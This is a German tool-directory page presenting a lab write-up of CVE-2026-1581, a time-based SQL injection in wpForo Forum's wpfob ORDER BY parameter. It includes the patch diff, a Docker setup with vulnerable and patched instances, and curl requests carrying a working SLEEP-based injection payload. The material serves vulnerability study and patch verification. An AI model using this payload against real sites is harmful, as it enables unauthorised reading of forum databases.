Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/rootdirective-sec/cve-2026-1581-analysis-lab
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungLabs & Praxis
GitHubrootdirective-sec/cve-2026-1581-analysis-lab

CVE-2026-1581-Analysis-Lab

Reproduziert CVE-2026-1581, eine nicht authentifizierte zeitbasierte SQL-Injection in wpForo Forum <=2.4.14, mit einem Docker-Lab und PoC, um die Schwachstelle zu demonstrieren und den Patch zu verifizieren.

Repository anzeigen
1vor 6 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-1581 — wpForo Forum (<= 2.4.14) Nicht authentifizierte zeitbasierte SQL-Injection (ORDER BY)

ภาษาไทย


Zusammenfassung

FeldDetail
CVE-IDCVE-2026-1581
PluginwpForo Forum
Betroffene Versionen<= 2.4.14
Gepatchte Version2.4.15
SchwachstellentypNicht authentifizierte zeitbasierte SQL-Injection (ORDER BY)
CVSS-Score7.5 (Hoch)
CVSS-VektorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
  • CVE-2026-1581 ist eine nicht authentifizierte zeitbasierte SQL-Injection-Schwachstelle im wpForo Forum Plugin (<= 2.4.14). Der Parameter wpfob wird in einer ORDER BY-Klausel verwendet, wobei nur eine Textbereinigung angewendet wird. Dadurch kann ein nicht authentifizierter Angreifer beliebige SQL-Ausdrücke injizieren und Daten aus der Datenbank auslesen.

  • Der Hersteller hat dies in Version 2.4.15 behoben, indem sanitize_text_field() durch wpforo_sanitize_orderby() ersetzt wurde, das eine kontextbezogene Whitelist erzwingt.


Umfang & Sicherheit

  • Nur in localhost + Docker Compose ausführen.

  • Der PoC ist ein zeitbasierter Timing-Nachweis, um den Unterschied zwischen der verwundbaren und der gepatchten Version zu demonstrieren.

  • Nicht gegen Systeme ohne ausdrückliche Genehmigung verwenden.


Nachweise auf einen Blick

  • Versionsnachweis: Die Seite /community/ lädt /wp-content/plugins/wpforo/assets/js/frontend.js?ver=2.4.14 (verwundbar) vs. 2.4.15 (gepatcht).

  • Code-Nachweis: sanitize_text_field(WPF()->GET['wpfob']) → wpforo_sanitize_orderby(..., context, default)

  • Verhaltensnachweis: wpfob=modified,(SELECT SLEEP(5)) verursacht eine ~5s-Verzögerung auf der verwundbaren Version; die gepatchte Version antwortet nahe der Baseline.


Was ich aus dem CVE-Advisory beobachtet habe

  • Das CVE-Advisory gibt nur an, dass es sich um eine zeitbasierte SQL-Injection über den Parameter wpfob handelt, die in 2.4.15 behoben wurde. Zum Zeitpunkt der Analyse war kein öffentlicher PoC verfügbar.

  • Dieser Bericht wurde daher durch Source-Code-Diffing zwischen 2.4.14 und 2.4.15 erstellt, wobei der Parameter von der HTTP-Eingabe über die Bereinigung bis zu dem Punkt verfolgt wurde, an dem er zur Konstruktion der SQL-Abfrage verwendet wird — um die Ursache zu verstehen und das Problem zu reproduzieren.

vulnx CVE-2026-1581


1) Quellcode-gestützte Analyse

1.1 Lokalisierung von wpfob

Ausgehend von einem grep nach wpfob im Quellcode wurde festgestellt, dass die Seite Recent den Wert direkt aus einem GET-Parameter übernimmt und ihn als orderby-Argument zuweist.

find wpfob

Verwundbar (2.4.14) — themes/classic/recent.php:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';

Gepatcht (2.4.15) — gleiche Datei, Bereiniger ersetzt:

root@kitploit:~
  32 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
  74 | $args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

Warum der Fokus auf recent.php? Weil es sich um eine auslösbare Route handelt, bei der wpfob direkt $args['orderby'] zugewiesen wird.


1.2 Datenfluss zur SQL: ORDER BY ...

Sobald $args['orderby'] gesetzt ist, fließt es in den Query-Builder von wpForo, um die ORDER BY-Klausel zu konstruieren.

ORDER BY-Verkettung (verwundbar 2.4.14)

classes/Topics.php:

SQL-Builder: ORDER BY-Verkettung in Topics.php

classes/Posts.php:

SQL-Builder: ORDER BY-Verkettung in Posts.php

Erklärung

  • sanitize_text_field() entfernt/bereinigt nur die Zeichenkette — es erzwingt keine Whitelist der erlaubten Spaltennamen.
  • Da orderby direkt in ORDER BY <orderby> verkettet wird, kann ein Angreifer beliebige SQL-Ausdrücke an der ORDER BY-Position injizieren.

Referenz: https://developer.wordpress.org/reference/functions/sanitize_text_field/


1.3 Patch-/Diff-Highlights (2.4.14 → 2.4.15)

1.3.1 Diff: recent.php

root@kitploit:~
32c32
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
74c74
< 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 	$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.2 Diff: wpforo.php

root@kitploit:~
1036c1036
< 					$args['orderby'] = sanitize_text_field( $get['wpfob'] );
---
> 					$args['orderby'] = wpforo_sanitize_orderby( $get['wpfob'], 'search', 'relevancy' );
1077c1077
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'modified';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'topics', 'modified' ) : 'modified';
1153c1153
< 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? sanitize_text_field( WPF()->GET['wpfob'] ) : 'created';
---
> 					$args['orderby']   = ( ! empty( WPF()->GET['wpfob'] ) ) ? wpforo_sanitize_orderby( WPF()->GET['wpfob'], 'posts', 'created' ) : 'created';

1.3.3 Neue Patch-Funktion: wpforo_sanitize_orderby()

Version 2.4.15 führt einen kontextbezogenen Whitelist-Bereiniger ein, der den Standardwert zurückgibt, wenn die Eingabe nicht in der erlaubten Liste enthalten ist:

whitelistor


2) Laboraufbau (Verwundbar vs. Gepatcht)

2.1 Dienste in Docker Compose

  • wp_vuln (WordPress + wpForo 2.4.14) → http://localhost:8081
  • wp_patched (WordPress + wpForo 2.4.15) → http://localhost:8082
  • db_vuln / db_patched (MariaDB)
  • seed_vuln / seed_patched — verwendet wp-cli, um WordPress zu installieren, das Plugin zu installieren, die Seite /community/ mit dem [wpforo]-Shortcode zu erstellen, Permalinks zu konfigurieren, .htaccess zu generieren und Verifikationsartefakte zu erstellen.

2.2 Testroute

Aus der Lektüre des Quellcodes geht hervor, dass wpfob explizit auf der Seite recent verwendet wird:

  • http://localhost:8081/community/recent/?view=opened
  • http://localhost:8082/community/recent/?view=opened

3) Reproduktion: Timing-Nachweis

Vor dem Test müssen mindestens 1 Thema und 1 Beitrag vorhanden sein.

3.1 Warum "Beiträge erforderlich" sind

  • Dies ist eine ORDER BY-Injection-Schwachstelle.
  • Wenn wpForo keine Themen oder Beiträge hat, kann die Abfrage 0 Zeilen zurückgeben — in diesem Fall findet auf der DB-Seite keine Sortierung statt, der Codepfad wertet den ORDER BY-Ausdruck möglicherweise nicht aus, und es wird keine Verzögerung beobachtet — ein falsch negatives Ergebnis.

Mindestens 1 Thema und 1 Beitrag sind erforderlich.

3.2 Baseline-Timing

root@kitploit:~
curl -sS -L -o /dev/null -w "baseline_vuln=%{time_total}\n" \
  "http://localhost:8081/community/recent/?view=opened"

curl -sS -L -o /dev/null -w "baseline_patched=%{time_total}\n" \
  "http://localhost:8082/community/recent/?view=opened"

baseline

3.3 Angriffs-Timing

root@kitploit:~
curl -sS -L -o /dev/null -w "attack_vuln=%{time_total}\n" \
  --get "http://localhost:8081/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

curl -sS -L -o /dev/null -w "attack_patched=%{time_total}\n" \
  --get "http://localhost:8082/community/recent/" \
  --data-urlencode "view=opened" \
  --data-urlencode "wpfob=modified,(SELECT SLEEP(5))"

Erwartet

  • Verwundbar: attack_vuln ≈ baseline_vuln + ~5s
  • Gepatcht: attack_patched ≈ Baseline (keine Verzögerung)

3.4 Ergebnisse

result


Runbook — So bauen Sie das Labor auf und verwenden den PoC (CVE-2026-1581)

1) Labor aufbauen (Verwundbar vs. Gepatcht)

1.1 Voraussetzungen

  • Docker Desktop + Docker Compose v2
  • Verfügbare Ports: 8081 (verwundbar), 8082 (gepatcht)

1.2 Erforderliche Dateien

  • docker-compose.yml
  • scripts/seed-wp.sh

1.3 Labor starten

Aus dem Projektordner:

root@kitploit:~
docker compose up -d

1.4 Verifizieren

Prüfen Sie, dass beide Instanzen erreichbar sind:

  • Verwundbar: http://localhost:8081/community/
  • Gepatcht: http://localhost:8082/community/

Und die Recent-Seite:

  • Verwundbar: http://localhost:8081/community/recent/?view=opened
  • Gepatcht: http://localhost:8082/community/recent/?view=opened

vuln home page vuln community page vuln recent page

1.5 Themen/Beiträge per wp-cli seeden (nur für Laborzwecke)

Erforderlich für Reproduzierbarkeit und zur Vermeidung falsch negativer Ergebnisse.

root@kitploit:~
# 1) Zähler prüfen (verwundbar)
docker compose run --rm --entrypoint sh seed_vuln -lc '
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
wp db query "SELECT COUNT(*) AS topics FROM ${PREFIX}wpforo_topics;" --allow-root
wp db query "SELECT COUNT(*) AS posts  FROM ${PREFIX}wpforo_posts;"  --allow-root
'

# 2) 1 Thema und 1 Beitrag einfügen (verwundbar)
docker compose run --rm --entrypoint sh seed_vuln -lc '
set -eu
cd /var/www/html
PREFIX=$(wp db prefix --allow-root)
UID=$(wp user get admin --field=ID --allow-root)
FID=$(wp db query "SELECT forumid FROM ${PREFIX}wpforo_forums WHERE is_cat=0 ORDER BY forumid ASC LIMIT 1;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_topics (forumid, userid, title, slug, created, modified) VALUES (${FID}, ${UID}, \"Timing Test\", \"timing-test\", NOW(), NOW());" --allow-root
TID=$(wp db query "SELECT MAX(topicid) FROM ${PREFIX}wpforo_topics;" --skip-column-names --allow-root)

wp db query "INSERT INTO ${PREFIX}wpforo_posts (forumid, topicid, userid, title, body, created, modified, is_first_post) VALUES (${FID}, ${TID}, ${UID}, \"Timing Test\", \"Hello\", NOW(), NOW(), 1);" --allow-root
PID=$(wp db query "SELECT MAX(postid) FROM ${PREFIX}wpforo_posts;" --skip-column-names --allow-root)

wp db query "UPDATE ${PREFIX}wpforo_topics SET first_postid=${PID}, last_post=${PID}, posts=1, modified=NOW() WHERE topicid=${TID};" --allow-root

echo "seeded forumid=${FID} topicid=${TID} postid=${PID}"
'

Für die gepatchte Instanz ersetzen Sie seed_vuln durch seed_patched.


2) Verwendung des PoC

2.1 Abhängigkeiten installieren

Die Verwendung einer virtuellen Umgebung wird empfohlen:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip3 install -U pip
pip3 install -r requirements.txt

2.2 PoC ausführen

root@kitploit:~
# verwundbar
python3 poc.py http://localhost:8081

# gepatcht
python3 poc.py http://localhost:8082

2.3 PoC-Ausgabe

POC


3) Aufräumen

root@kitploit:~
docker compose down -v

Referenzen

  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-1581
  • Wordfence: https://www.wordfence.com/threat-intel/vulnerabilities/id/4c447dbb-f8fb-4b46-9c47-20ab7330bbaa?source=cve
Tool herunterladen